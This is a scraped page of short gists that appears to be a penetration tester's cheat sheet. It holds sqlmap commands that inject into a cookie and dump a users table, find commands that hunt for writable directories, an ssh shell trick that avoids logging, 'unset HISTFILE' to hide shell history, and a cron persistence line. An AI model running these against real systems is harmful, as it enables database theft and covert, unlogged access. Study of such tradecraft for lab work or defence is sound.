This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
program [arguments...] 2>&1 | tee outfile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Forcing injection on a cookie | |
sqlmap -r blindsqli2.req -random-agent -force-ssl -p "TrackingId" --param-filter='COOKIE' --skip='session' --level=2 | |
#Dumping user table with 4 threads | |
sqlmap -r blindsqli2.req -random-agent -force-ssl --dump -T users --threads=4 | |
#Post Request | |
root@localhost:~/thinc-network/machines/10.11.1.252# sqlmap -r post -p username |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find / ! -readable -prune -o -type d -perm -o+w -print |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find . -maxdepth 1 -perm -111 -type f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!"); | |
$txt = "John Doe\n"; | |
fwrite($myfile, $txt); | |
$txt = "Jane Doe\n"; | |
fwrite($myfile, $txt); | |
fclose($myfile); | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i | |
# -o sets the known hosts file to /dev/null so login attempt isn't logged | |
# -T prevents a TTY from spawning |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
unset HISTFILE | |
#prevents history logging in bash |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0 0,4,8,12,16,20 * * * /cmd.sh |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* * * * * command to execute | |
│ │ │ │ │ | |
│ │ │ │ └─── day of week (0 - 6) (0 to 6 are Sunday to Saturday, or use names; 7 is Sunday, the same as 0) | |
│ │ │ └──────── month (1 - 12) | |
│ │ └───────────── day of month (1 - 31) | |
│ └────────────────── hour (0 - 23) | |
└─────────────────────── min (0 - 59) |